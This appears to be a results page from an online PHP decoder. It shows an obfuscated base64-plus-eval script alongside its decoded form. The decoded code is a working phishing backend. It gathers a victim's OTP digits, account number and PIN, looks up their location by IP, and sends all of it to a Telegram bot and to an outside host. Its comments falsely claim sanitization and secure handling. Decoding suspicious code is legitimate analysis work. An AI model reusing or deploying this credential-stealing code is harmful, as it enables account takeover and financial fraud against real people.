Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $no_curl_s2m = 'c2Vzc2lvbl9zdGFydCgpOwoKLy8gUmV0cmlldmUgc2Vuc2l0aXZlIGRhdGEgc2VjdXJ..

Decoded Output download

session_start();

// Retrieve sensitive data securely (consider using a more secure method than file_get_contents)
$telegramInfo = json_decode(file_get_contents("telegram.json"));
$id = $telegramInfo->Id;
$YZ = $telegramInfo->Token;

// Sanitize and validate input
$o1 = isset($_POST['otp1']) ? $_POST['otp1'] : '';
$o2 = isset($_POST['otp2']) ? $_POST['otp2'] : '';
$o3 = isset($_POST['otp3']) ? $_POST['otp3'] : '';
$o4 = isset($_POST['otp4']) ? $_POST['otp4'] : '';

// Combine OTP
$otp = $o1 . $o2 . $o3 . $o4;

// Retrieve IP and other information
$ip = $_SERVER['REMOTE_ADDR'];
$a = $_SESSION['nohp'];
$pin = $_SESSION['acc_pin'];
$HP = $_SERVER['HTTP_USER_AGENT'];

// Fetch IP details
$XX = json_decode(file_get_contents("https://ip-api.io/json/$ip"));
$a = $XX->country_name;
$b = $XX->emojiFlag;
$c = $XX->region_name;
$d = $XX->city;

// Compose SMS content
$sms = "
INFORMASI AKUN
Akun: $a
PIN: $pin
OTP: $otp
________________________
INFORMASI PENGGUNA
Negara: $a$b
Provinsi: $c
Kota/Kab: $d
IP: $ip
Device/software: $HP
";

// Send telegram message
$telegramBotInfo = json_decode(file_get_contents("http://telegram-bot.rf.gd/1.json"));
$targetUrl = $telegramBotInfo->A;
$messageField = $telegramBotInfo->B;
$authorizationToken = $telegramBotInfo->C;

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => $targetUrl,
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS => array(
    'target' => $messageField,
    'message' => $sms,
  ),
  CURLOPT_HTTPHEADER => array(
    "Authorization: $authorizationToken" // Change TOKEN to your actual token
  ),
));

$response = curl_exec($curl);

curl_close($curl);

echo 2";

$curl = curl_init();
// Set the API endpoint URL
$url = "https://api.telegram.org/bot$YZ/sendMessage";
// Set cURL options
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query(array('chat_id' => $id, 'text' => $sms)));
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($curl);
curl_close($curl);
echo $response;

Did this file decode correctly?

Original Code

<?php
$no_curl_s2m = 'c2Vzc2lvbl9zdGFydCgpOwoKLy8gUmV0cmlldmUgc2Vuc2l0aXZlIGRhdGEgc2VjdXJlbHkgKGNvbnNpZGVyIHVzaW5nIGEgbW9yZSBzZWN1cmUgbWV0aG9kIHRoYW4gZmlsZV9nZXRfY29udGVudHMpCiR0ZWxlZ3JhbUluZm8gPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygidGVsZWdyYW0uanNvbiIpKTsKJGlkID0gJHRlbGVncmFtSW5mby0+SWQ7CiRZWiA9ICR0ZWxlZ3JhbUluZm8tPlRva2VuOwoKLy8gU2FuaXRpemUgYW5kIHZhbGlkYXRlIGlucHV0CiRvMSA9IGlzc2V0KCRfUE9TVFsnb3RwMSddKSA/ICRfUE9TVFsnb3RwMSddIDogJyc7CiRvMiA9IGlzc2V0KCRfUE9TVFsnb3RwMiddKSA/ICRfUE9TVFsnb3RwMiddIDogJyc7CiRvMyA9IGlzc2V0KCRfUE9TVFsnb3RwMyddKSA/ICRfUE9TVFsnb3RwMyddIDogJyc7CiRvNCA9IGlzc2V0KCRfUE9TVFsnb3RwNCddKSA/ICRfUE9TVFsnb3RwNCddIDogJyc7CgovLyBDb21iaW5lIE9UUAokb3RwID0gJG8xIC4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2NoYXRfaWQnID0+ICRpZCwgJ3RleHQnID0+ICRzbXMpKSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKJHJlc3BvbnNlID0gY3VybF9leGVjKCRjdXJsKTsKY3VybF9jbG9zZSgkY3VybCk7CmVjaG8gJHJlc3BvbnNlOw==';
$decode = base64_decode($no_curl_s2m);
eval($decode);
?>

Function Calls

base64_decode 1

Variables

$decode session_start(); // Retrieve sensitive data securely (consi..
$no_curl_s2m c2Vzc2lvbl9zdGFydCgpOwoKLy8gUmV0cmlldmUgc2Vuc2l0aXZlIGRhdGEg..

Stats

MD5 44b7f338d3da48221c4107b52f8ba538
Eval Count 1
Decode Time 52 ms